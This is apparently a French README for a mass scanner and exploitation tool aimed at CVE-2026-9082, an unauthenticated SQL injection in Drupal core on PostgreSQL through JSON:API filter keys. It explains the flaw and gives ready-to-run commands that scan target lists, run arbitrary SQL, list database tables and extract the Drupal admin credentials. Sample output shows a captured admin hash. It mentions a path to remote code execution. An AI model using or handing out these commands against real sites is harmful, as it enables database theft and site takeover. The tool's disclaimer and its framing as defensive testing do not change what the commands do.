Scanner: CVE-2026-9082 Drupal PostgreSQL SQLi via JSON:API — scanner Python pour une SQLi non authentifiée menant à une RCE (CISA KEV)
Injection SQL non authentifiée dans le noyau Drupal (PostgreSQL)
Injection de clé de tableau de filtre JSON:API via abus du nom de placeholder PDO
CVE-2026-9082 est une vulnérabilité d'injection SQL hautement critique dans le noyau Drupal touchant tous les sites basés sur PostgreSQL exécutant Drupal 8.0 à 11.3.9. Ajoutée au catalogue CISA Known Exploited Vulnerabilities (KEV) le 2026-05-22 — activement exploitée dans la nature.
| Sévérité | CVSS | Authentification requise | Vecteur d'attaque |
|---|---|---|---|
| Critique | 9.8+ | Aucune | HTTP (JSON:API) |
pg_exec() ou COPY ... PROGRAM| Statut | Versions |
|---|---|
| ❌ Vulnérable | Drupal 8.0.0 → 11.3.9 (backend PostgreSQL) |
| ✅ Corrigé | 11.3.10, 11.2.12, 10.6.9, 10.5.10 |
La faille se situe dans core/modules/pgsql/src/EntityQuery/Condition.php. La méthode translateCondition() utilise des clés de tableau contrôlées par l'utilisateur issues des paramètres de filtre JSON:API pour construire les noms de placeholders PDO. PDO ne reconnaît comme noms de placeholders que [a-zA-Z0-9_], de sorte que tout suffixe après ) devient du SQL littéral injecté dans la requête.
JSON:API Filter → array key with SQL → PDO placeholder truncation → SQL injection
pg_sleep()pip (gestionnaire de paquets Python)# Clone the repo
git clone https://github.com/ridhinva/CVE-2026-9082.git
cd CVE-2026-9082
# Install requirements
pip install requests
Et voilà ! Une seule dépendance — requests.
python3 cve_2026_9082_scanner.py -u https://target.com --check
python3 cve_2026_9082_scanner.py -f targets.txt
Format targets.txt :
https://target1.com
target2.com
192.168.1.100
python3 cve_2026_9082_scanner.py -u https://target.com --version
python3 cve_2026_9082_scanner.py -u https://target.com --dbinfo
python3 cve_2026_9082_scanner.py -u https://target.com --admin
python3 cve_2026_9082_scanner.py -u https://target.com --tables
python3 cve_2026_9082_scanner.py -u https://target.com --query "SELECT usename FROM pg_catalog.pg_user"
python3 cve_2026_9082_scanner.py -f targets.txt -o results.txt
python3 cve_2026_9082_scanner.py -u https://target.com --check --proxy http://127.0.0.1:8080
# Increase sleep time for time-based detection (default: 5s)
python3 cve_2026_9082_scanner.py -u https://target.com --check --delay 10
# Increase HTTP timeout for slow targets (default: 30s)
python3 cve_2026_9082_scanner.py -u https://target.com --check --timeout 60
| Option | Description |
|---|---|
-u, --url | URL de la cible unique |
-f, --file | Fichier contenant les cibles (une par ligne) |
-o, --output | Enregistre les résultats du scan dans un fichier |
--check | Vérifie si la cible est vulnérable |
--version | Extrait la version de PostgreSQL |
--dbinfo | Extrait l'utilisateur de la base et le nom de la base |
--admin | Extrait les identifiants admin Drupal (uid=1) |
--tables | Liste toutes les tables de la base de données |
--query | Requête d'extraction SQL personnalisée |
--threads | Threads pour le scan de masse (défaut : 20) |
--timeout | Délai d'expiration des requêtes HTTP (défaut : 30 s) |
--delay | Délai pg_sleep pour la détection (défaut : 5 s) |
--no-ssl-verify | Ignore la vérification du certificat TLS |
--proxy | Proxy HTTP (p. ex., http://127.0.0.1:8080) |
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-9082 - Drupal PostgreSQL SQLi ║
║ Mass Scanner + Exploitation Tool v1.0.0 ║
╚══════════════════════════════════════════════════════════════╝
CISA KEV: Added 2026-05-22 | Advisory: SA-CORE-2026-004
[*] Checking: https://vulnerable-drupal-site.com
[!!] VULNERABLE - https://vulnerable-drupal-site.com
Method: time-based (+5.2s)
Resource: node/article
[+] username: admin
[+] email: [email protected]
[+] pass_hash: $S$E8gJ8yJ8...hashed_password...
| Source | Lien |
|---|---|
| Avis de sécurité Drupal | SA-CORE-2026-004 |
| CISA KEV | CVE-2026-9082 |
| Commit du correctif | ea9524d9 |
| Entrée NVD | CVE-2026-9082 |
| Découvreur | Michael Maturi |
Cet outil est destiné uniquement aux tests de sécurité autorisés, à des fins éducatives et à la recherche éthique.
L'accès non autorisé à des systèmes informatiques est illégal. Les auteurs déclinent toute responsabilité et ne sont pas responsables de tout usage abusif ou de tout dommage causé par ce programme.
Ridhin V A (@ridhinva) — chasseur de bug bounty et chercheur en sécurité
Créé parce que CISA KEV a signalé une exploitation active dans la nature. Corrigez vos sites Drupal.